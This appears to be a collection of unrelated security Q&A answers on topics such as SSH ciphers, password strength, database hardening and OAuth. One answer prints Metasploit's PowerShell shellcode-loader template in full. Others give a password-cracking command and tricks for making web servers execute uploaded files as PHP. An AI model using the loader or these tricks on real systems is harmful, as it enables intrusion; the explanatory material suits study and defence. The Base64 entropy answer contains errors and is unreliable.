OpenSSH: Meaning of cipher with email address @openssh.com

Those are algorithms defined by vendors like openssh, not defined by the SSH standard (IETF RFCs). They are extensions to the protocol. Of course, you are not guaranteed that software other than openssh would interoperate with those options.

The specifics of aes256-gcm@openssh.com is defined in openssh documentation:

  1.6 transport: AES-GCM

  OpenSSH supports the AES-GCM algorithm as specified in RFC 5647.
  Because of problems with the specification of the key exchange the
  behaviour of OpenSSH differs from the RFC as follows:

  AES-GCM is only negotiated as the cipher algorithms
  "aes128-gcm@openssh.com" or "aes256-gcm@openssh.com" and never as an
  MAC algorithm. Additionally, if AES-GCM is selected as the cipher the
  exchanged MAC algorithms are ignored and there doesn't have to be a
  matching MAC.

In this case, the non standard extension is used as a bugfix for the spec.

In general, using non standard extensions is how they are able to experimentally support a post quantum key exchange algorithm, sntrup4591761x25519-sha512@tinyssh.org, years before PQ Crypto will get standardized.

Compare this with how old Chrome used custom TLS cipher suite for ChaCha20Poly1305, before that was standardized by IETF in an incompatible way, and some TLS servers support old chacha and ietf-chacha. Or how Chrome did a series of post quantum crypto experiments using non-standard cipher suite values.

Algorithms that have been widely deployed and have not encountered problems might get "blessed" by IETF, and become standardized, and this, in theory, is how IETF protocols evolve: broad consensus among practitioners, rather than standardizing a design no one has tried to use (or even implemented at all) and discovering problems only after the standard is out.


The rootkit replaces the legitimate call to EnumProcesses() with the address of its own implementation. Its implementation calls the original, but before it returns the list, it removes any mention of the processes it has been told to hide.

While the behavior and outcome are similar, I consider hooking to be slightly different, because it can be done legitimately.  Hooking is generally done through an officially supported API, and the OS tracks all such hooks so it can undo them when the hooking process is terminated.  A description of Microsoft's hooking mechanism can be seen here.  Malware instead often directly modifies the memory without notifying the OS.


How can I give out a secret to the public that only I can decipher?

You can do it with a public key, and a random challenge.

Ship your public key on your product, and keep the private key well protected. When you try to login:

Module generates a long (512 byte or more) random token
Encrypted token is sent to you
You decrypt the token, sign it, and send back
Module checks if the token is the same it sent, and if the signature matches

This way, you don't need to keep a secret on the client (the public key is public anyway), it is secure even over HTTP (attacker cannot forge another token, or the client will reject it), and your private key keeps secured with you.


This kind of DoS attack it actually very easy to carry on and it could be as simple or as sophisticated as it get: it can be a simple as a wget scripted loop, a spam campain using images hosted on your server, etc.

It is usually very easy to carry out because the resource attacked is usually quite small and can easily be completely consumed in a short time, even with limited bandwidth.

Note also that it can also happen without anyone deliberately attacking you: having a resource hosted on your site growing in popularity unexpectedly will have the same result (see slashdot effect some something similar).

Defending against this is actually rather easy, at least for everything that is static content (usually most of your site): you put a content delivery network in front of your web site and they will reduce drastically the effect of such attack against your site (many also offer other services too and they come in all kind of prices from free to awfully expensive).


This is a solution for suffixes and prefixes for a given fixed, without 1337speak.

Using MASK mode, you give parameters on the command line. If the known word part is barquux and you need to suffix 3 characters and prefix 2, all of them digits, use

john -mask=?d?dbarquux?d?d?d -min-len=9 -max-len=14 file_to_crack

For mask options, see the MASK mode documentation file.


Is passing sensitive data through the process environment secure?

To answer my own question:

It seems that some systems are, or rather were indeed insecure, leaking environment information to other processes.

A similar issue to the present one is raised on github by user 'mitchblank' for the 'mosh' application (mobile shell). The author writes:

  Background: in the process image argv[] and envp[] are stored in the same way, next to each other. In "classic" UNIXes /usr/bin/ps was typically setgid "kmem" (or similar group), which allowed it to dig around in /dev/kmem to read information about the active processes. This included the ability to read the process arguments AND the environment, of all users on the system.

  These days these 'privileged ps hacks' are largely behind us: UNIX systems have all come up with different ways of querying such information (/proc on Linux, etc) I think all(?) of these consider a process's environment only to be readable by its uid. Thus, security-sensitive data like passwords in the environment aren't leaked. However, the old ways aren't 100% dead. Just as an example, here's an example from an AIX 5.2 machine I have access to...."

  ....

  Today, mosh seems to be only on Linux/OSX/FreeBSD but if it catches on I'm afraid it will end up on some platform that still uses the old-school UNIX "everybody can see anybody's environment variables" model.

I have been unable to confirm the existence of any system that permitted the leaking of environment variables (A work for historians and people having access to old installations.)

Looking around shows that in 2000, environment variables were indeed considered sensitive, i.e. potential problems would have been flagged, see CERT vulnerability 22404. Indeed the above-mentioned mentioned AIX 5.2 weakness was a bug (Since fixed. Unfortunately there is no detailed information about this on the Internet as far as I can find apart from this IBM technical bulletin)

CERT and RISKS forum yield nothing about environment variables being implemented in an insecure manner or being exploited at any point in time.

I am not sure whether other programs pass sensitive data around (GPG does not), but the MySQL manual's admonishment seems to be over the top.


Updating Root/Intermediate Certificates over NDES/SCEP

Thomas Pornin provided an acceptable answer for a similar question at:

Renewing Microsoft Certificate Services Root Certificate


How can I prevent viruses/malware from infecting my flash drive?

I have a couple of questions here:

Are the files fine when in the lab?
And only become 'infected' when you
move them to your USB drive?
Are you certain the USB stick is clean?
Does the USB stick have software on it which is supposed to write files as exe's (some versions do this if encryption is enabled)

The reason I ask is that it could be an issue you are bringing to the lab.

If not, and the lab machines are infected, there is nothing you can realistically do with your USB drive to combat this problem. You would need to get the lab techs to sort out the issue at their end.


SSL session protocol vs SSL connection protocol

For third query,
Since ssl session establishment use lengthy cryptography keys, so its consume more resources. Once session established one should use lighter process. So using Connection and Session logic, https become better in performance.


Password entropy match for alphanumeric but there are special characters in password

The key is Base64 encoded.

Base64 encoding allows data to be stored as ASCII, because the output of that encoding only uses a-z, A-Z, 0-9, / and ., with = for padding. The "rubbish" you see is the ASCII representation of the raw bytes of the key.

Your entropy analysis is therefore very close to correct, because the character set of the data is 64, not 62. If we do the math, log2(64) is 6, which makes the ideal length for 2084 bits of entropy 341.333 bytes. Since you can't store 0.333 of a byte, we can assume that the ideal length of the base64 encoding of any data with 2084 bits of entropy is 342 bytes. Now notice that there are two padding characters on the end of the base64 string, which means that the real length is actually 342 bytes. As such, we've just proven that the key has ideal entropy.


I doubt the speaker was "hacked" :) It could either be a defect or broken speaker, or if you ordered it used from Ebay, it could already be paired. I don't think that your neighbors even know you bought a speaker, and looking online aren't any security problems with that specific speaker.


How to proactively prevent data-theft if a stolen android phone is immediately taken offline?

If the android device is on latest security patch, there's no way to bypass screen lock protection. Even if it's not fully updated, the thief has to search what known vulnerabilities can be exploited from locked screen for privilege escalation. He will also have to come up with an exploit. Many high severity and critical severity vulnerabilities that are fixed each month don't have publicly available exploits.
Screen unlock attempts timeout increases exponentially after every few incorrect attempts. If your unlock code is not in most predictable android lock patterns, it cannot be brute-forced. If the thief goes to recovery mode to factory reset the device, on first boot, device will ask for Google account credentials that were used to set up the device by the owner. This is called Factory Reset Protection.
By default, sensitive messages like OTP are displayed on lock screen. It can be disabled from settings. First, the thief will use your SIM to learn your phone number. Then he will reset Google account password using OTP showing up on your lock screen. After 72 hours, the new password can be used to unlock factory reset protection.
Your data is always safe but your accounts can be compromised with possession of SIM card alone. Use TOTP to protect your accounts and immediately request your network operator to block SIM. That will leave your device un-reusable for the thief.


can a malware conceal true browser history

... both. on myactivity.google.com/myactivity, as well as local browser history.

Any process with the same or better permissions as the local browser can modify the same data as the browser does. Which means that any process you start as the normal user might modify the browser history. This can be done by directly accessing the files where the browser stores the history.

As for your activity log at google: a process which hijacks the browser or uses the credentials from the browser can do anything you can also do within the browser, i.e. delete activities by using the browser interface or add new activities (by browsing sites). But it has no direct access to the data stored at Google and can thus not modify the data outside of the intended way as would be possible with the local history. If that is needed the attacker need to attack Google 's servers where these data are stored and not your system.


If you want a general security test of your servers i recommend using OpenVAS (the new open source Nessus).  This tool will look at version numbers and for some services it can test for misconfiguration.

In terms of the mobile devices them selves,  I don't see how this changes your attack surface.   Just like any end user system, you still have to worry about keeping these devices up to date.  It should be noted that Android introduced ASLR in Ice Creme Sandwich  (A bit late don't you think?),  so update to this version as soon as possible.


We can't tell if it's vulnerable or not.

In protecting against stored XSS attacks (although the same applies to reflected attacks) there are 2 key stages where protection should be applied. When the data is presented to your system and when you present the data to other systems. If you know that you have protection in place which should reject pontential XSS attacks at upload, then it appears to be failing. If you have protection on the output channels then it's possible that this is not exploitable. But we don't know which of these you have in place.

You would need to look at how this data leaves your system to establish if this potential vulnerabilitiy can be exploited.


Why do I target the proxy server if I send a DDoS attack from it?

In the intended case, the proxy server will forward the attackers flood attack to the target. This means that the proxy experiences as much incoming traffic as the target, plus as much outgoing traffic as the attacker, so the attacker will hit the proxy server twice as hard as the actual target.

However, most proxy servers use caching. This means when the same URL is requested multiple times from the same website (like LOIC does), the proxy will only fetch it once and then serve its local copy without contacting the destination again. In that case the attacker will only consume resources on the proxy, and not on the target site.

In fact, setting up a lean reverse proxy with caching enabled in front of a web application is standard procedure of defending against DDOS attacks. By using a caching proxy server on the client-side, the attacker does that for the target.


Is there more to consider than just keyspace when determining a password's strength?

Determining whether a particular password is "strong" is an imprecise exercise.  A slightly better question is whether it's strong against a particular type of attack.  This provides a framework from which you can start to evaluate how many guesses or how much time is consumed trying to match guesses to your particular password.  But this also forces you to make some assumptions about what attacks and approaches will be tried, and these might not match up with what would happen in the real world.

So, looking at your two presumably randomly generated passwords we can say that the obvious attack is to try all possible random combinations with their respective character pools.  We know if we try all combinations we will find a match at some point during that search.  We could also evaluate how exactly the guessing software iterates through the random strings and estimate where within the overall brute force process those passwords are likely to be cracked.

Just to make up numbers, let's say your first password would be matched 4% of the way through a brute force of its respective keyspace, and the second password would be matched 39% of the way through its respective keyspace.  You could take those results and accurately say that the second password is stronger against this specific type of brute force attack.

But this couldn't tell you that either pool of characters was better or worse at producing secure passwords.  It is limited to comparing those two specific passwords.  On average both pools would produce random passwords of approximately the same strength since they have a similar keyspace.

We could also look at the computational feasibility of an attacker exhausting all possibilities in a brute force of either keyspace and say that today it isn't likely.  At one trillion password guesses per second it would take over 600 days to exhaustively search either keyspace.  If neither is likely to be cracked then you could argue they are equally strong, or at least both strong enough, from a practical standpoint.

Another attack might be guessing dictionary words.  It's seems safe to say that neither of these passwords should appear in a dictionary.  In this case they're also equally strong, since neither have a chance of being guessed.

However, if we step back to evaluate the likelihood of their respective keyspaces matching dictionary words we might see a different result.  Your first password's keyspace is made up of around 0.27% strings that are all lowercase, all uppercase, or a mixture of alphabetic cases.  In comparison, your second password's keyspace is around 14.45% of those same strings that could be dictionary words.

Now that certainly doesn't mean all these alphabetic strings are words (or combinations of words).  A very, very small percent of those strings would match any given word list.  But you could make the argument that a higher possibility of a randomly generated password from the second pool containing only letters means that this pool has a higher chance of generating passwords that match words.  I'd urge you to actually measure this effect with word lists before proclaiming this to be true, but some people might see this and say that the first pool generates stronger passwords.

So my conclusion would be that there are different ways of measuring the strength of these passwords (and I only discussed a few).  Depending on which approach or approaches you took you might get different results.


How to keep an internal node from spoofing an internal server's IP and thereby getting the server blocked by active defenses?

At a network level, you could try implementing Dynamic ARP inspection and DHCP snooping to prevent hosts from spoofing the IP address of legitimate hosts. This will create a database on your switch of what IP addresses were handed out on which port and to which host, if another host tries to spoof that IP it can be blocked and the spoofed traffic will not make it through.


Concrete figures on password cracking in the wild

There are essentially two types of attack: targeted attacks (APT, high value targets, personal attacks) and attacks of opportunity (low hanging fruit).

So, you're interested in offline attacks against leaked databases of passwords: the answer is that SOMEBODY will bother to put JTR, OCL Hashcat, or similar tools against that database.  And that person/persons/group is looking to sell the retrieved credentials en masse to spammers, bank account hijackers, etc.

If you want an example: http://blogs.computerworld.com/20272/hackers_crowdsource_help_to_crack_nearly_6_5_million_leaked_linkedin_passwords
http://nakedsecurity.sophos.com/2012/06/06/linkedin-confirms-hack-over-60-of-stolen-passwords-already-cracked/

After all, why else leak the password DB if you're not going to crack them?


Data security implications of using Android over iOS

like all security features, the Application Sandbox is not
  unbreakable. However, to break out of the Application Sandbox in a
  properly configured device, one must compromise the security of the
  the Linux kernel.

Android much less secure? Not so sure about that(subjective).
1- Security implications?

Misc:

Open-source.
Android IPC (Intents, Services and BroadcastReceivers).

Linux Security:

ASLR, NX, SELinux.
System Partition and Safe Mode.
Application Sandbox.
Process isolation.
Filesystem Permissions.

User Security Features:

Filesystem Encryption(not enabled by default)
Password Protection.
Device Administration.
Keychain.
App permissions.

2- Disadvantages?

Rooting of devices: It's great for attackers or geeks, but it's a security nightmare. Root access, exploits, file system exposed with shared_prefs, sqlite_db, ...
SSL mutual authentication in the Webview: Impossible untill recently, thanks to hidden/unofficial APIs.
Handling of private/company PKI CAs: Keychain added in api level 14.
Android Runtime Code Injection
Android database(SQLite): No encryption! ==> SQLcipher for sensitive data.

kernel-security


Why deploy a .p12 client certificate bundled with a root CA?

Most likely the p12 contents are determined by the tool used to create them. Government agencies are almost legendary in their odd choices of tools and software. It's quite unlikely that anyone involved has thought this through as thoroughly as you have.


What's the secure way to change UNIX permissions on a harcoded file often?

Your method #1 can be adapted to protect against symlink attacks:

lstat() the file path you want to chmod.  Save the values of st_dev and st_ino in the struct stat that is returned.  These two numbers uniquely identify the file on your system.
open() the file with O_RDONLY.
fstat() the open file descriptor.  Check to make sure that st_dev and st_ino are the same as the ones you saved earlier.  If they're different, you've just followed a symlink and should bail out.
fchmod() the file descriptor to set the execute bit.  fchmod() is like chmod() except it operates on an open file descriptor.

If the attacker can't modify any ancestor directories of the directory containing this file, this is all you need to do.  If the attacker can modify ancestor directories, then it's possible you followed a symlink on an earlier component of the path when you called lstat.  Thus it gets a bit more complicated:

lstat() the first component of the path which might be a symlink.  Save st_dev and st_ino.
chdir() into the next component of the path using a relative path.
stat() the current directory (.) and make sure the st_dev and st_ino are the same.
Repeat until you reach the directory containing the file.

When you've finally reached the directory containing the file, perform the original steps above, but make sure you call lstat() and open() on a relative path.


How SS7 attack first enter into SS7 network?

SS7 attacks can't be done via ISDN lines.

In order to attack the SS7 network, the attacker has to be "on the SS7" network. The SS7 network connects telco companies together, but it is not extended to clients. What this means is that the attacker is either has access to the network administrator at a telco company, or the attacker is the network admin at the telco company.

Luckily, SS7 attacks can't be done by default by skiddies. But countries where the admins are not payed very well will pose a significant threat to the whole world. Or countries where the intelligence agency is interested in attacking the another country is also a huge threat.


Is there a problem with this approach to handling invalid web probes?

You don't need to care about if the status you return is the most appropriate. It's a scan anyway, and if your code returns a blank page with HTTP 200 status and the scanner segfaults and catches fire, it's not your problem. You must care about legitimate requests, not much about non-legitimate ones.

On my lab servers (online with public IP) I use fail2ban: 4 HTTP 4xx errors bans the IP for an hour. On some places I use a tarpit just for fun, such as LaBrea PHP Tarpit.


NoSQL databases are relatively new (although arguably an old concept), I haven't seen any specific MongoDB hardening guides and the usual places I look (CISSecurity, vendor publications, Sans etc all come up short). Suggests it would be a good project for an organisation, uni student, infosec community to write one and maintain it.

There is some basic information in Mongodb.org. All the steps in here should be followed including enabling security. The site itself states MongoDB only has a very basic level of security.
http://www.mongodb.org/display/DOCS/Security+and+Authentication

MongoDB and other NoSQL databases also have a lot less (especially security) features than mature SQL databases, so you are unlikely to find fine-grained permissions or data encryption, it uses MD5 for password hashing with the username as the seed. There are also limitations such as authentication not being available with sharding before version 1.9.1 so as always performing a risk assessment and building a threat model to work out your security needs and threats faced is good idea. Based on this output MongoDB or NoSQL databases in general may not be suitable for your needs, or you may need to use it in a different way that maximizes its advantages and minimizes its weaknesses (e.g. for extracts of data rather than your most sensitive information, or on behind a number of layers of network controls rather than directly connected to your web application).

That said, I firmly believe security principles are technology agnostic. If you analyse even the latest attacks, and a good list on datalossdb.org it is amazing how many are still related to default passwords and missing patches. With defense in depth if you follow the following practices should have sufficient security to protect most assets (e.g. individual, commercial) maybe probably not military.

Database hardening principles:

Authentication - require authentication, for admin or privileged users have two factor if possible (do this at the platform level or via a network device as the database itself doesn't support it). Use key based authentication to avoid passwords if possible.
Authorization - minimal number of required accounts with minimal required permissions, read only accounts are supported so use them. As granular access control does not exist use alternate means e.g a  web service in front of the database which contains business logic including access control rules or within the application. Minimize the permissions that Mongodb runs as on the platform e.g. should not run as root.
Default and system accounts - change the passwords of all default accounts, remove/lock/disable what you can, disable login where you can.
Logging and monitoring - enable logging and export these to a central monitoring system. Define specific alerts and investigation procedures for your monitoring staff
Input validation - NoSQL databases are still vulnerable to injection attacks so only passing it validated known good input, use of paramaterisation in your application frameworks, all the good practices for passing un-trusted input to a database is required
Encryption - depending on the sensitivity of the data, as you cannot encrypt at the database level, encrypting or hashing any sensitive data at the application layer is required. Transport encryption also via the network layer (e.g. VPN).
Minimize services and change the default listening port
Remove any sample or test databases
Have a patch  management process in place to identify, evaluate and install all relevant security patches in a timely manner
Harden the platform and virtualization platform if used
Configure appropriate network controls e.g. firewalls, VLAN's to minimize access to the database, upstream denial of service filtering service, fully qualified DNS, seperate production and non production databases
Physically secure environment
Have a change management process


Why do I get a warning when specifying the recipient for signing a document?

--recipient or the short -r is used to denote a recipient, which is something only relevant for encryption. GnuPG is warning you that you're not encrypting the messaage.

   --recipient name
   -r     Encrypt  for user id name. If this option or --hidden-recipient is not
          specified, GnuPG asks for the user-id unless --default-recipient
          is given.

If you want to select the key to sign a message, use --local-user or -u. For a message that's only signed, but not encrypted, it does not matter who the recipient is.

   --local-user name
   -u     Use  name as the key to sign with. Note that this option overrides
          --default-key.

This is usually defined in gpg.conf.

If you want to both sign and encrypt a message for yubikey@test.org, apply both commands (add --local-user if necessary):

gpg2 --recipient yubikey@test.org --sign --encrypt /tmp/test


gpg key size of 4096 and "the future is ECC"

Does this still apply 2020? Can I safely recommend to my boss to use 2048 key size?

This would be to a certain extent a matter of opinion and as such likely not suitable for discussion on StackExchange. For any practical purposes one should be safe with 2048-bit RSA for years to come. However, the cost of using 4096-bit RSA won't be practically noticeable when used for signing binaries.

ECC seem to offer more strength in smaller keys as well as faster computation for both signing and verification.  Bitcoin employs ECDSA with 256-bit keys, for example.

  Is it possible to use ECC for signing binaries? Are there any tutorials for that?

Currently, at least as of GPG v2.1, ECC key pairs are possible to be created in GPG. To check the version of GPG in your system and list available algorithms you can call gpg2 --version. If you can see ECDSA or EDDSA, you can also generate ECC key pairs using gpg2 --full-gen-key --expert and selecting the appropriate algorithm. As to differences between the two, see this question.


Best way to store passwords for a LAN tool?

It depends on who you want to protect that password from. Given that you're going to transmit that in cleartext over the network, you're granting trust to locatl administrators.

If that is accurate,, you can place that password in a data file that is restricted to the local root users through the OS ACL. That way, anyone who acn gain access to it would be able to gain access to the password anyway.


Vaudenay attack on CBC-encrypted file on disk

A Vaudenay Attack, also called a padding oracle attack, is not an attack on static data or the encryption algorithm. Rather it is a protocol attack that involves repeatedly passing modified messages to the server and examining the return codes to decipher the data. The underlying problem is that the padding is validated before the HMAC is validated. As the HMAC cannot be forged without knowing the shared secret, modified messages in the attack have incorrect HMACs.

In short, the attack scenario that you presented is an incorrect application of a Vaudenay attack and cannot be executed on static data.


Well, first of all, the simple approach to fixing the problem you face is to not invalidate the RT immediately upon use. Either just don't re-issue it at all (keep using it until the session ends due to user action, or the token expires), or wait to invalidate the old one until you've confirmed that the user received the new one (e.g. by checking the next request the user sends to the site and seeing if the new token is present. The second approach adds an additional DB access on each refresh (on the subsequent request), but you can safely store the "new token verified" flag on the client (possibly as part of the cookie, which gets updated during the verification) since the whole "make sure the user gets their new token" thing is just a convenience factor for the user anyhow and doesn't impact security.
As for your proposed implementation, it looks like it should work. However, the whole thing is complicated in a way that adds little actual security. You're using asymmetric signatures so that you can hide the private key from JS, which is only relevant in the case of XSS that happens at some point post-login (as most of them do). However, this - like the HttpOnly flag on cookies - is barely relevant security-wise. As long as the victim has any document (including in a window or iframe) open to the vulnerable page, the attacker can remote-control the victim's session and see all data. Assuming the access token is visible to script - which it must be, for a script to sign it for the refresh process - the attacker can use that token themselves in the background, making their own requests and viewing the responses. The attacker won't be able to refresh the AT once the victim closes all vulnerable pages, but realistically that doesn't matter. Either the attacker will have already achieved their goals, or they'll just use the XSS attack again when they need it.


If the Raspberry Pi needs access to your google drive to store your video feed then, well, that means that your Raspberry Pi needs access to your google drive and therefore anyone who gains access to your Raspberry Pi may gain access to your google drive.  It's not possible to both allow your application to directly upload to your drive and also not allow an attacker to upload to your drive if they gain control of your application.

However, all is not lost.  Many modern app ecosystems (including google) are designed for exactly this sort of thing.  However it helps to understand how authentication works and what exactly you are doing.

OAuth Client ID

pydrive doesn't have you create access credentials for directly accessing google drive.  Instead, it has you create an OAuth Client ID.  In essence, this means that you are registering an "app" with Google (although not in the sense of a literal app on the Play Store).  This Client ID does not actually give pydrive access to your account.  Instead it simply registers you as the owner of this "app".

To actually access your account, pydrive directs you through a login process locally where pydrive will request access to your account from google.  This happens through a web browser (which is why pydrive mentions a webserver).
 Google will then ask if you want to give pydrive access to your account, and when you approve, Google will give pydrive a separate set of access credentials that give it actual access to your drive.

From then on your pydrive application should show up in your Google account under the list of apps with access to your account.  You should be able to see that on this page, presumably under whatever application name you provided to Google when you created the OAuth Client ID.

Stolen Credentials

In the event that your pi gets stolen, it would theoretically be possible for an attacker to dump the drive contents and find the spot where pydrive stored the actual account credentials it uses, and then use those to gain access to your account (although with whatever privileges you gave to pydrive - not your full google account).

Fortunately if that were to happen the solution would be simple.  Login to your Google account in any browser, go to that list of apps with access to your account, and logout pydrive.  Even with the OAuth Client ID still available, an attacker won't be able to get back into your account without first login into Google you with your email and password, which they obviously don't.

You would also be able to go back to the APIs section of Google, find the OAuth Client ID you generated, and revoke it as well.  At that point in time the attacker will have nothing.

Summary

So is there a window of time when an attacker with a stolen Raspberry Pi might be able to access the Google Drive credentials and cause problems?  Yes.  However, this window of time can be very short in practice, because presumably you will know if your Pi is stolen and will be able to immediately log out the Pi remotely, preventing any further access.


Forward Secrecy not supported with referenced browsers?

The «reference browsers» are marked with an R in the table below. What results were you given there? The problem may be on some of them (IE?) not supporting those ECDHE_RSA_* ciphers.


Can you say that since one time pad encryption is unbreakable, it is the best if used properly?

Key distribution is the problem.

In your scenario, you use a server to communicate the one-time pads to the users.  But how is that communication protected?  Not by a one-time pad, or it wouldn't be necessary.  Let's say it's SSL with AES 128.  Then, wham, your cryptosystem is as secure as SSL with AES 128 - pretty secure, but not as secure as a one-time pad.

The mils guys you reference appear to be offering physical devices which you load a one-time keystream onto (and can use it from).  Again, key distribution is a problem.  You could buy two hard drives, load terabytes of keystream on them, and send one to your buddy... how?  Do you trust USPS?  Fedex?  Courier?  Diplomatic pouch?  All of these can be compromised.  The only perfectly encrypted way to send them would be to encrypt them with a one-time pa... crap, it happened again.


Are there examples of implementing security as a side effect?

Unsure where this is really relevant, but what you describe looks like a separation of concern. It is used for example in Java with aspects. The developper code the business rule classes without worrying about the authorizations required to run the methods. Then the authorization rules are implemented in an aspect, basically wrapping the methods.

The well known Spring Security framework makes a heavy use of that pattern.


Is a part of an encrypted file easier to crack?

No. You still need to find the same length encryption key to decrypt the data into plaintext. Finding the key is the hard part, decrypting a whole or partial image is trivial once you have the key.

If you are using an encryption scheme where the file is encrypted and decrypted deterministicly based on the section that was last (de/en)ecrypted, it can be harder to reliably end up at the same plaintext as you would have gotten were you to perform the same decryption on the entire file, if the file is split after encryption. This is semi-relevant to CBC encryption schemes.You can recover plain-text blocks if your archive separates files into segments of two or more ciphertext blocks or longer. If you were to separate the entire ciphertext into segments of one cipher-block each, you would render any block missing both it's adjacent blocks as indecipherable.

If you are using a scheme that applies a different encryption key to each smaller segment, then you are increasing the number of keys needed to decrypt the entire message, but that is getting very implementation specific.

EDIT:

In regards to "losing important bits" - I assume you mean that if you were to split up the encrypted file and delete some of the segments (or store them elsewhere), you might be deleting parts of the file that ensure the security of the contents, such as a checksum or something.

The way that modern crypto works, your end result is two pieces of data - your encryption key, and the ciphertext. A good crypto algorithm won't have distinct "parts" in the ciphertext. It should be indistinguishable from white noise, ideally. Otherwise you are opening your ciphertext up to both detection and reverse engineering. So from a ciphertext, there are no specifically important bits to lose.


What is the different between "psh-reflection" and psh (msfvenom format)?

The psh-reflection payload is implemented by the to_win32pe_psh_reflection function in the rex-powershell module. If you take a look at the payload.rb file, you'll see the following code that builds the reflection payload:
  #
  # Reflection technique prevents the temporary .cs file being created for the .NET compiler
  # Tweaked by shellster
  # Originally from PowerSploit
  #
  def self.to_win32pe_psh_reflection(template_path = TEMPLATE_DIR, code)
    # Intialize rig and value names
    rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
    rig.init_var(:func_get_proc_address)
    rig.init_var(:func_get_delegate_type)
    rig.init_var(:var_code)
    rig.init_var(:var_module)
    rig.init_var(:var_procedure)
    rig.init_var(:var_unsafe_native_methods)
    rig.init_var(:var_parameters)
    rig.init_var(:var_return_type)
    rig.init_var(:var_type_builder)
    rig.init_var(:var_buffer)
    rig.init_var(:var_hthread)
    rig.init_var(:var_opf)

    hash_sub = rig.to_h
    hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

    read_replace_script_template(template_path, "to_mem_pshreflection.ps1.template",hash_sub).gsub(/(?<!\r)\n/, "\r\n")
  end

This references a template Powershell file, which can be found here. It looks like this:
function %{func_get_proc_address} {
    Param ($%{var_module}, $%{var_procedure})
    $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
}

function %{func_get_delegate_type} {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
        [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
    )

    $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
    $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')

    return $%{var_type_builder}.CreateType()
}

[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")

$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)

$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null

Putting this together, we can figure out what this payload type does. You provide some shellcode to execute, and it wraps it in a Powershell script. The script allocates some unmanaged memory, decodes the shellcode from base64, copies it into the allocated memory, then generates a dynamic assembly with a method that executes the payload.
A benefit of this method is that it doesn't need to drop any additional files when it executes. The dynamic assembly exists only in memory.


Desperate for removing spywares from both iPhone and Mac PC

Unless she is a very high value target, this sounds like an iCloud breach and not malware on her iPhone and Mac.  It's a pretty intense breach to hit both an iPhone and Mac these days and far easier to gain access to her iCloud account.
I'd recommend having her change her iCloud password and enable 2FA.  Then, see if she can look at her login records on iCloud to confirm an attacker.  In addition, ask if she's recently gotten weird emails from what she thought was "iCloud" asking her to enter in her password or some other quick action needed.


This behavior is not directly linked to this exploit, but by a weak web server configuration.

For instance:

Apache offers through mod_mime the possibility to serve files with multiple extension. This extension is designed to serve the same way files such as welcome.html.fr or welcome.fr.html (ie. french version of the welcome.html file). However it can be tricked to interpret myuploadedfile.php.jpg as a PHP script...
Nginx offers a virtual directory system allowing to have virtual sub-directories below a dynamic script. For instance, a URL like /agenda.php/2015/june/6 will execute the file agenda.php (SCRIPT_FILENAME) with /2015/june/6 as parameter (PATH_INFO). However you may trick him to execute your uploaded file (which does not even need to have include the .php extension) by using a URL such as /myuploadedfile.jpg/anything.php: it will be accepted as a PHP script due to the .php extension, then the URL will be divided into SCRIPT_FILENAME and PATH_INFO as described above, and finally the order will be given to the PHP interpretor to execute myuploadedfile.jpg content.


How do I securely identify a remote (self programmed embedded) device in PHP?

Cryptographic point of view: the only way you can distinguish, from the outside, a fake device from a genuine one is by making the genuine device "know" some value that the attacker does not know.

This can be the equivalent of a "password" (since there is no human involved, that password can be a sequence of 40 random characters, i.e. something quite strong and thus unguessable by attackers). You can store that in a custom HTTP header, or the standard "Authorization" header, or as some cookie value, or encoded as a parameter in the URL; all of these are supported by most Web frameworks, both on client and server.

You can also use X.509 certificates. SSL supports client-side certificate authentication. In that case, the "secret" value on the device is an asymmetric private key (usually RSA) and you must arrange (with a custom PKI) for the issuing of one certificate per device. Certificates are cool if you don't want your server to keep a copy of the device secrets (or hashed version thereof), e.g. because you would like to deploy new devices without having to actually inform the server. If that's not a problem with you, the "password" method will be easier than dealing with certificates.

